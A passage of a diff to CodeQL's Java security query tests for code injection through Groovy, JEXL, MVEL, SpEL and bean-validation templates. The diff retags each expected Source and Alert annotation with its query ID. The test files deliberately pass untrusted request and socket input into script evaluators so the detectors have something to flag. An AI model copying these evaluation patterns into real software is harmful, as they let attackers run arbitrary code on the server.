"test"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyClassLoader;false;parseClass;(String);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] final GroovyClassLoader classLoader = new GroovyClassLoader(); - classLoader.parseClass(script); // $ Alert + classLoader.parseClass(script); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyClassLoader;false;parseClass;(String,String);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] final GroovyClassLoader classLoader = new GroovyClassLoader(); - classLoader.parseClass(script, "test"); // $ Alert + classLoader.parseClass(script, "test"); // $ Alert[java/groovy-injection] } } } diff --git a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyCompilationUnitTest.java b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyCompilationUnitTest.java index a906d9fdc96..e5088d873af 100644 --- a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyCompilationUnitTest.java +++ b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyCompilationUnitTest.java @@ -18,8 +18,8 @@ public class GroovyCompilationUnitTest extends HttpServlet { // "org.codehaus.groovy.control;CompilationUnit;false;compile;;;Argument[this];groovy;manual" { CompilationUnit cu = new CompilationUnit(); - cu.addSource("test", request.getParameter("source")); // $ Source - cu.compile(); // $ Alert + cu.addSource("test", request.getParameter("source")); // $ Source[java/groovy-injection] + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); @@ -29,20 +29,20 @@ public class GroovyCompilationUnitTest extends HttpServlet { { CompilationUnit cu = new CompilationUnit(); cu.addSource("test", - new ByteArrayInputStream(request.getParameter("source").getBytes())); // $ Source - cu.compile(); // $ Alert + new ByteArrayInputStream(request.getParameter("source").getBytes())); // $ Source[java/groovy-injection] + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); - cu.addSource(new URL(request.getParameter("source"))); // $ Source - cu.compile(); // $ Alert + cu.addSource(new URL(request.getParameter("source"))); // $ Source[java/groovy-injection] + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); SourceUnit su = - new SourceUnit("test", request.getParameter("source"), null, null, null); // $ Source + new SourceUnit("test", request.getParameter("source"), null, null, null); // $ Source[java/groovy-injection] cu.addSource(su); - cu.compile(); // $ Alert + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); @@ -53,29 +53,29 @@ public class GroovyCompilationUnitTest extends HttpServlet { } { CompilationUnit cu = new CompilationUnit(); - StringReaderSource rs = new StringReaderSource(request.getParameter("source"), null); // $ Source + StringReaderSource rs = new StringReaderSource(request.getParameter("source"), null); // $ Source[java/groovy-injection] SourceUnit su = new SourceUnit("test", rs, null, null, null); cu.addSource(su); - cu.compile(); // $ Alert + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); SourceUnit su = - new SourceUnit(new URL(request.getParameter("source")), null, null, null); // $ Source + new SourceUnit(new URL(request.getParameter("source")), null, null, null); // $ Source[java/groovy-injection] cu.addSource(su); - cu.compile(); // $ Alert + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); - SourceUnit su = SourceUnit.create("test", request.getParameter("source")); // $ Source + SourceUnit su = SourceUnit.create("test", request.getParameter("source")); // $ Source[java/groovy-injection] cu.addSource(su); - cu.compile(); // $ Alert + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); - SourceUnit su = SourceUnit.create("test", request.getParameter("source"), 0); // $ Source + SourceUnit su = SourceUnit.create("test", request.getParameter("source"), 0); // $ Source[java/groovy-injection] cu.addSource(su); - cu.compile(); // $ Alert + cu.compile(); // $ Alert[java/groovy-injection] } { CompilationUnit cu = new CompilationUnit(); @@ -85,8 +85,8 @@ public class GroovyCompilationUnitTest extends HttpServlet { } { JavaAwareCompilationUnit cu = new JavaAwareCompilationUnit(); - cu.addSource("test", request.getParameter("source")); // $ Source - cu.compile(); // $ Alert + cu.addSource("test", request.getParameter("source")); // $ Source[java/groovy-injection] + cu.compile(); // $ Alert[java/groovy-injection] } { JavaStubCompilationUnit cu = new JavaStubCompilationUnit(null, null); diff --git a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyEvalTest.java b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyEvalTest.java index 3756cd10bfa..704a225c670 100644 --- a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyEvalTest.java +++ b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyEvalTest.java @@ -11,29 +11,29 @@ public class GroovyEvalTest extends HttpServlet { throws ServletException, IOException { // "groovy.util;Eval;false;me;(String);;Argument[0];groovy;manual", { - String script = request.getParameter("script"); // $ Source - Eval.me(script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + Eval.me(script); // $ Alert[java/groovy-injection] } // "groovy.util;Eval;false;me;(String,Object,String);;Argument[2];groovy;manual", { - String script = request.getParameter("script"); // $ Source - Eval.me("test", "result", script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + Eval.me("test", "result", script); // $ Alert[java/groovy-injection] } // "groovy.util;Eval;false;x;(Object,String);;Argument[1];groovy;manual", { - String script = request.getParameter("script"); // $ Source - Eval.x("result2", script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + Eval.x("result2", script); // $ Alert[java/groovy-injection] } // "groovy.util;Eval;false;xy;(Object,Object,String);;Argument[2];groovy;manual", { - String script = request.getParameter("script"); // $ Source - Eval.xy("result3", "result4", script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + Eval.xy("result3", "result4", script); // $ Alert[java/groovy-injection] } // "groovy.util;Eval;false;xyz;(Object,Object,Object,String);;Argument[3];groovy;manual", { - String script = request.getParameter("script"); // $ Source - Eval.xyz("result3", "result4", "aaa", script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + Eval.xyz("result3", "result4", "aaa", script); // $ Alert[java/groovy-injection] } } } diff --git a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyShellTest.java b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyShellTest.java index 6e2e773b03c..aa26691c019 100644 --- a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyShellTest.java +++ b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/GroovyShellTest.java @@ -19,134 +19,134 @@ public class GroovyShellTest extends HttpServlet { // "groovy.lang;GroovyShell;false;evaluate;(GroovyCodeSource);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] GroovyCodeSource gcs = new GroovyCodeSource(script, "test", "Test"); - shell.evaluate(gcs); // $ Alert + shell.evaluate(gcs); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;evaluate;(Reader);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] Reader reader = new StringReader(script); - shell.evaluate(reader); // $ Alert + shell.evaluate(reader); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;evaluate;(Reader,String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] Reader reader = new StringReader(script); - shell.evaluate(reader, "_"); // $ Alert + shell.evaluate(reader, "_"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;evaluate;(String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.evaluate(script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.evaluate(script); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;evaluate;(String,String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.evaluate(script, "test"); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.evaluate(script, "test"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;evaluate;(String,String,String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.evaluate(script, "test", "test2"); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.evaluate(script, "test", "test2"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;evaluate;(URI);;Argument[0];groovy;manual", try { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.parse(new URI(script)); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.parse(new URI(script)); // $ Alert[java/groovy-injection] } catch (URISyntaxException e) { } // "groovy.lang;GroovyShell;false;parse;(Reader);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] Reader reader = new StringReader(script); - shell.parse(reader); // $ Alert + shell.parse(reader); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;parse;(Reader,String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] Reader reader = new StringReader(script); - shell.parse(reader, "_"); // $ Alert + shell.parse(reader, "_"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;parse;(String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.parse(script); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.parse(script); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;parse;(String,String);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.parse(script, "_"); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.parse(script, "_"); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;parse;(URI);;Argument[0];groovy;manual", try { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.parse(new URI(script)); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.parse(new URI(script)); // $ Alert[java/groovy-injection] } catch (URISyntaxException e) { } // "groovy.lang;GroovyShell;false;run;(GroovyCodeSource,String[]);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] GroovyCodeSource gcs = new GroovyCodeSource(script, "test", "Test"); - shell.run(gcs, new String[] {}); // $ Alert + shell.run(gcs, new String[] {}); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;run;(GroovyCodeSource,List);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] GroovyCodeSource gcs = new GroovyCodeSource(script, "test", "Test"); - shell.run(gcs, new ArrayList()); // $ Alert + shell.run(gcs, new ArrayList()); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;run;(Reader,String,String[]);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] Reader reader = new StringReader(script); - shell.run(reader, "test", new String[] {}); // $ Alert + shell.run(reader, "test", new String[] {}); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;run;(Reader,String,List);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source + String script = request.getParameter("script"); // $ Source[java/groovy-injection] Reader reader = new StringReader(script); - shell.run(reader, "test", new ArrayList()); // $ Alert + shell.run(reader, "test", new ArrayList()); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;run;(String,String,String[]);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.run(script, "_", new String[] {}); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.run(script, "_", new String[] {}); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;run;(String,String,List);;Argument[0];groovy;manual", { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.run(script, "_", new ArrayList()); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.run(script, "_", new ArrayList()); // $ Alert[java/groovy-injection] } // "groovy.lang;GroovyShell;false;run;(URI,String[]);;Argument[0];groovy;manual", try { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.run(new URI(script), new String[] {}); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.run(new URI(script), new String[] {}); // $ Alert[java/groovy-injection] } catch (URISyntaxException e) { } // "groovy.lang;GroovyShell;false;run;(URI,List);;Argument[0];groovy;manual", try { GroovyShell shell = new GroovyShell(); - String script = request.getParameter("script"); // $ Source - shell.run(new URI(script), new ArrayList()); // $ Alert + String script = request.getParameter("script"); // $ Source[java/groovy-injection] + shell.run(new URI(script), new ArrayList()); // $ Alert[java/groovy-injection] } catch (URISyntaxException e) { } } diff --git a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/TemplateEngineTest.java b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/TemplateEngineTest.java index a046b9cd332..77519656614 100644 --- a/java/ql/test/query-tests/security/CWE-094/GroovyInjection/TemplateEngineTest.java +++ b/java/ql/test/query-tests/security/CWE-094/GroovyInjection/TemplateEngineTest.java @@ -11,7 +11,7 @@ import groovy.text.TemplateEngine; public class TemplateEngineTest extends HttpServlet { private Object source(HttpServletRequest request) { - return request.getParameter("script"); // $ Source + return request.getParameter("script"); // $ Source[java/groovy-injection] } protected void doGet(HttpServletRequest request, HttpServletResponse response) @@ -19,10 +19,10 @@ public class TemplateEngineTest extends HttpServlet { try { Object script = source(request); TemplateEngine engine = null; - engine.createTemplate(request.getParameter("script")); // $ Alert - engine.createTemplate((File) script); // $ Alert - engine.createTemplate((Reader) script); // $ Alert - engine.createTemplate((URL) script); // $ Alert + engine.createTemplate(request.getParameter("script")); // $ Alert[java/groovy-injection] + engine.createTemplate((File) script); // $ Alert[java/groovy-injection] + engine.createTemplate((Reader) script); // $ Alert[java/groovy-injection] + engine.createTemplate((URL) script); // $ Alert[java/groovy-injection] } catch (Exception e) { } diff --git a/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java b/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java index bfa94bbe3a8..fb840759b62 100644 --- a/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java +++ b/java/ql/test/query-tests/security/CWE-094/InsecureBeanValidation.java @@ -4,11 +4,11 @@ import javax.validation.ConstraintValidatorContext; public class InsecureBeanValidation implements ConstraintValidator { @Override - public boolean isValid(String object, ConstraintValidatorContext constraintContext) { // $ Source + public boolean isValid(String object, ConstraintValidatorContext constraintContext) { // $ Source[java/insecure-bean-validation] String value = object + " is invalid"; // Bad: Bean properties (normally user-controlled) are passed directly to `buildConstraintViolationWithTemplate` - constraintContext.buildConstraintViolationWithTemplate(value).addConstraintViolation().disableDefaultConstraintViolation(); // $ Alert + constraintContext.buildConstraintViolationWithTemplate(value).addConstraintViolation().disableDefaultConstraintViolation(); // $ Alert[java/insecure-bean-validation] // Good: Using message parameters constraintContext.buildConstraintViolationWithTemplate("literal {message_parameter}").addConstraintViolation().disableDefaultConstraintViolation(); diff --git a/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl2Injection.java b/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl2Injection.java index b306cf4e535..ab5a6b179a5 100644 --- a/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl2Injection.java +++ b/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl2Injection.java @@ -11,21 +11,21 @@ public class Jexl2Injection { JexlEngine jexl = new JexlEngine(); Expression e = jexl.createExpression(jexlExpr); JexlContext jc = new MapContext(); - e.evaluate(jc); // $ Alert + e.evaluate(jc); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionWithJexlInfo(String jexlExpr) { JexlEngine jexl = new JexlEngine(); Expression e = jexl.createExpression(jexlExpr, new DebugInfo("unknown", 0, 0)); JexlContext jc = new MapContext(); - e.evaluate(jc); // $ Alert + e.evaluate(jc); // $ Alert[java/jexl-expression-injection] } private static void runJexlScript(String jexlExpr) { JexlEngine jexl = new JexlEngine(); Script script = jexl.createScript(jexlExpr); JexlContext jc = new MapContext(); - script.execute(jc); // $ Alert + script.execute(jc); // $ Alert[java/jexl-expression-injection] } private static void runJexlScriptViaCallable(String jexlExpr) { @@ -34,7 +34,7 @@ public class Jexl2Injection { JexlContext jc = new MapContext(); try { - script.callable(jc).call(); // $ Alert + script.callable(jc).call(); // $ Alert[java/jexl-expression-injection] } catch (Exception e) { throw new RuntimeException(e); } @@ -42,37 +42,37 @@ public class Jexl2Injection { private static void runJexlExpressionViaGetProperty(String jexlExpr) { JexlEngine jexl = new JexlEngine(); - jexl.getProperty(new Object(), jexlExpr); // $ Alert + jexl.getProperty(new Object(), jexlExpr); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaSetProperty(String jexlExpr) { JexlEngine jexl = new JexlEngine(); - jexl.setProperty(new Object(), jexlExpr, new Object()); // $ Alert + jexl.setProperty(new Object(), jexlExpr, new Object()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaUnifiedJEXLParseAndEvaluate(String jexlExpr) { JexlEngine jexl = new JexlEngine(); UnifiedJEXL unifiedJEXL = new UnifiedJEXL(jexl); - unifiedJEXL.parse(jexlExpr).evaluate(new MapContext()); // $ Alert + unifiedJEXL.parse(jexlExpr).evaluate(new MapContext()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaUnifiedJEXLParseAndPrepare(String jexlExpr) { JexlEngine jexl = new JexlEngine(); UnifiedJEXL unifiedJEXL = new UnifiedJEXL(jexl); - unifiedJEXL.parse(jexlExpr).prepare(new MapContext()); // $ Alert + unifiedJEXL.parse(jexlExpr).prepare(new MapContext()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaUnifiedJEXLTemplateEvaluate(String jexlExpr) { JexlEngine jexl = new JexlEngine(); UnifiedJEXL unifiedJEXL = new UnifiedJEXL(jexl); - unifiedJEXL.createTemplate(jexlExpr).evaluate(new MapContext(), new StringWriter()); // $ Alert + unifiedJEXL.createTemplate(jexlExpr).evaluate(new MapContext(), new StringWriter()); // $ Alert[java/jexl-expression-injection] } private static void testWithSocket(Consumer action) throws Exception { try (ServerSocket serverSocket = new ServerSocket(0)) { try (Socket socket = serverSocket.accept()) { byte[] bytes = new byte[1024]; - int n = socket.getInputStream().read(bytes); // $ Source + int n = socket.getInputStream().read(bytes); // $ Source[java/jexl-expression-injection] String jexlExpr = new String(bytes, 0, n); action.accept(jexlExpr); } diff --git a/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl3Injection.java b/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl3Injection.java index c047bb5b315..04e0f9a5e53 100644 --- a/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl3Injection.java +++ b/java/ql/test/query-tests/security/CWE-094/JexlInjection/Jexl3Injection.java @@ -18,21 +18,21 @@ public class Jexl3Injection { JexlEngine jexl = new JexlBuilder().create(); JexlExpression e = jexl.createExpression(jexlExpr); JexlContext jc = new MapContext(); - e.evaluate(jc); // $ Alert + e.evaluate(jc); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionWithJexlInfo(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); JexlExpression e = jexl.createExpression(new JexlInfo("unknown", 0, 0), jexlExpr); JexlContext jc = new MapContext(); - e.evaluate(jc); // $ Alert + e.evaluate(jc); // $ Alert[java/jexl-expression-injection] } private static void runJexlScript(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); JexlScript script = jexl.createScript(jexlExpr); JexlContext jc = new MapContext(); - script.execute(jc); // $ Alert + script.execute(jc); // $ Alert[java/jexl-expression-injection] } private static void runJexlScriptViaCallable(String jexlExpr) { @@ -41,7 +41,7 @@ public class Jexl3Injection { JexlContext jc = new MapContext(); try { - script.callable(jc).call(); // $ Alert + script.callable(jc).call(); // $ Alert[java/jexl-expression-injection] } catch (Exception e) { throw new RuntimeException(e); } @@ -49,30 +49,30 @@ public class Jexl3Injection { private static void runJexlExpressionViaGetProperty(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); - jexl.getProperty(new Object(), jexlExpr); // $ Alert + jexl.getProperty(new Object(), jexlExpr); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaSetProperty(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); - jexl.setProperty(new Object(), jexlExpr, new Object()); // $ Alert + jexl.setProperty(new Object(), jexlExpr, new Object()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaJxltEngineExpressionEvaluate(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); JxltEngine jxlt = jexl.createJxltEngine(); - jxlt.createExpression(jexlExpr).evaluate(new MapContext()); // $ Alert + jxlt.createExpression(jexlExpr).evaluate(new MapContext()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaJxltEngineExpressionPrepare(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); JxltEngine jxlt = jexl.createJxltEngine(); - jxlt.createExpression(jexlExpr).prepare(new MapContext()); // $ Alert + jxlt.createExpression(jexlExpr).prepare(new MapContext()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaJxltEngineTemplateEvaluate(String jexlExpr) { JexlEngine jexl = new JexlBuilder().create(); JxltEngine jxlt = jexl.createJxltEngine(); - jxlt.createTemplate(jexlExpr).evaluate(new MapContext(), new StringWriter()); // $ Alert + jxlt.createTemplate(jexlExpr).evaluate(new MapContext(), new StringWriter()); // $ Alert[java/jexl-expression-injection] } private static void runJexlExpressionViaCallable(String jexlExpr) { @@ -81,7 +81,7 @@ public class Jexl3Injection { JexlContext jc = new MapContext(); try { - e.callable(jc).call(); // $ Alert + e.callable(jc).call(); // $ Alert[java/jexl-expression-injection] } catch (Exception ex) { throw new RuntimeException(ex); } @@ -91,7 +91,7 @@ public class Jexl3Injection { try (ServerSocket serverSocket = new ServerSocket(0)) { try (Socket socket = serverSocket.accept()) { byte[] bytes = new byte[1024]; - int n = socket.getInputStream().read(bytes); // $ Source + int n = socket.getInputStream().read(bytes); // $ Source[java/jexl-expression-injection] String jexlExpr = new String(bytes, 0, n); action.accept(jexlExpr); } @@ -141,14 +141,14 @@ public class Jexl3Injection { } @PostMapping("/request") - public ResponseEntity testWithSpringControllerThatEvaluatesJexlFromPathVariable(@PathVariable String expr) { // $ Source + public ResponseEntity testWithSpringControllerThatEvaluatesJexlFromPathVariable(@PathVariable String expr) { // $ Source[java/jexl-expression-injection] runJexlExpression(expr); return ResponseEntity.ok(HttpStatus.OK); } @PostMapping("/request") - public ResponseEntity testWithSpringControllerThatEvaluatesJexlFromRequestBody(@RequestBody Data data) { // $ Source + public ResponseEntity testWithSpringControllerThatEvaluatesJexlFromRequestBody(@RequestBody Data data) { // $ Source[java/jexl-expression-injection] String expr = data.getExpr(); runJexlExpression(expr); @@ -158,7 +158,7 @@ public class Jexl3Injection { @PostMapping("/request") public ResponseEntity testWithSpringControllerThatEvaluatesJexlFromRequestBodyWithNestedObjects( - @RequestBody CustomRequest customRequest) { // $ Source + @RequestBody CustomRequest customRequest) { // $ Source[java/jexl-expression-injection] String expr = customRequest.getData().getExpr(); runJexlExpression(expr); diff --git a/java/ql/test/query-tests/security/CWE-094/MvelInjection/MvelInjectionTest.java b/java/ql/test/query-tests/security/CWE-094/MvelInjection/MvelInjectionTest.java index 4e6738dbfd9..b661732cc37 100644 --- a/java/ql/test/query-tests/security/CWE-094/MvelInjection/MvelInjectionTest.java +++ b/java/ql/test/query-tests/security/CWE-094/MvelInjection/MvelInjectionTest.java @@ -21,31 +21,31 @@ import org.mvel2.templates.TemplateRuntime; public class MvelInjectionTest { public static void testWithMvelEval(Socket socket) throws IOException { - MVEL.eval(read(socket)); // $ Alert + MVEL.eval(read(socket)); // $ Alert[java/mvel-expression-injection] } public static void testWithMvelCompileAndExecute(Socket socket) throws IOException { Serializable expression = MVEL.compileExpression(read(socket)); - MVEL.executeExpression(expression); // $ Alert + MVEL.executeExpression(expression); // $ Alert[java/mvel-expression-injection] } public static void testWithExpressionCompiler(Socket socket) throws IOException { ExpressionCompiler compiler = new ExpressionCompiler(read(socket)); ExecutableStatement statement = compiler.compile(); - statement.getValue(new Object(), new ImmutableDefaultFactory()); // $ Alert - statement.getValue(new Object(), new Object(), new ImmutableDefaultFactory()); // $ Alert + statement.getValue(new Object(), new ImmutableDefaultFactory()); // $ Alert[java/mvel-expression-injection] + statement.getValue(new Object(), new Object(), new ImmutableDefaultFactory()); // $ Alert[java/mvel-expression-injection] } public static void testWithCompiledExpressionGetDirectValue(Socket socket) throws IOException { ExpressionCompiler compiler = new ExpressionCompiler(read(socket)); CompiledExpression expression = compiler.compile(); - expression.getDirectValue(new Object(), new ImmutableDefaultFactory()); // $ Alert + expression.getDirectValue(new Object(), new ImmutableDefaultFactory()); // $ Alert[java/mvel-expression-injection] } public static void testCompiledAccExpressionGetValue(Socket socket) throws IOException { CompiledAccExpression expression = new CompiledAccExpression(read(socket).toCharArray(), Object.class, new ParserContext()); - expression.getValue(new Object(), new ImmutableDefaultFactory()); // $ Alert + expression.getValue(new Object(), new ImmutableDefaultFactory()); // $ Alert[java/mvel-expression-injection] } public static void testMvelScriptEngineCompileAndEvaluate(Socket socket) throws Exception { @@ -53,10 +53,10 @@ public class MvelInjectionTest { MvelScriptEngine engine = new MvelScriptEngine(); CompiledScript compiledScript = engine.compile(input); - compiledScript.eval(); // $ Alert + compiledScript.eval(); // $ Alert[java/mvel-expression-injection] Serializable script = engine.compiledScript(input); - engine.evaluate(script, new SimpleScriptContext()); // $ Alert + engine.evaluate(script, new SimpleScriptContext()); // $ Alert[java/mvel-expression-injection] } public static void testMvelCompiledScriptCompileAndEvaluate(Socket socket) throws Exception { @@ -64,30 +64,30 @@ public class MvelInjectionTest { ExpressionCompiler compiler = new ExpressionCompiler(read(socket)); ExecutableStatement statement = compiler.compile(); MvelCompiledScript script = new MvelCompiledScript(engine, statement); - script.eval(new SimpleScriptContext()); // $ Alert + script.eval(new SimpleScriptContext()); // $ Alert[java/mvel-expression-injection] } public static void testTemplateRuntimeEval(Socket socket) throws Exception { - TemplateRuntime.eval(read(socket), new HashMap()); // $ Alert + TemplateRuntime.eval(read(socket), new HashMap()); // $ Alert[java/mvel-expression-injection] } public static void testTemplateRuntimeCompileTemplateAndExecute(Socket socket) throws Exception { - TemplateRuntime.execute(TemplateCompiler.compileTemplate(read(socket)), new HashMap()); // $ Alert + TemplateRuntime.execute(TemplateCompiler.compileTemplate(read(socket)), new HashMap()); // $ Alert[java/mvel-expression-injection] } public static void testTemplateRuntimeCompileAndExecute(Socket socket) throws Exception { TemplateCompiler compiler = new TemplateCompiler(read(socket)); - TemplateRuntime.execute(compiler.compile(), new HashMap()); // $ Alert + TemplateRuntime.execute(compiler.compile(), new HashMap()); // $ Alert[java/mvel-expression-injection] } public static void testMvelRuntimeExecute(Socket socket) throws Exception { ExpressionCompiler compiler = new ExpressionCompiler(read(socket)); CompiledExpression expression = compiler.compile(); - MVELRuntime.execute(false, expression, new Object(), new ImmutableDefaultFactory()); // $ Alert + MVELRuntime.execute(false, expression, new Object(), new ImmutableDefaultFactory()); // $ Alert[java/mvel-expression-injection] } public static String read(Socket socket) throws IOException { - try (InputStream is = socket.getInputStream()) { // $ Source + try (InputStream is = socket.getInputStream()) { // $ Source[java/mvel-expression-injection] byte[] bytes = new byte[1024]; int n = is.read(bytes); return new String(bytes, 0, n); diff --git a/java/ql/test/query-tests/security/CWE-094/SpelInjection/SpelInjectionTest.java b/java/ql/test/query-tests/security/CWE-094/SpelInjection/SpelInjectionTest.java index 88c4e913d49..17bf732d547 100644 --- a/java/ql/test/query-tests/security/CWE-094/SpelInjection/SpelInjectionTest.java +++ b/java/ql/test/query-tests/security/CWE-094/SpelInjection/SpelInjectionTest.java @@ -13,7 +13,7 @@ public class SpelInjectionTest { private static final ExpressionParser PARSER = new SpelExpressionParser(); public void testGetValue(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); @@ -21,33 +21,33 @@ public class SpelInjectionTest { ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(input); - expression.getValue(); // $ Alert + expression.getValue(); // $ Alert[java/spel-expression-injection] } public void testGetValueWithParseRaw(Socket socket) throws IOException { - InputStream in = socket.getInputStream(); // $ Source + InputStream in = socket.getInputStream(); // $ Source[java/spel-expression-injection] byte[] bytes = new byte[1024]; int n = in.read(bytes); String input = new String(bytes, 0, n); SpelExpressionParser parser = new SpelExpressionParser(); SpelExpression expression = parser.parseRaw(input); - expression.getValue(); // $ Alert + expression.getValue(); // $ Alert[java/spel-expression-injection] } public void 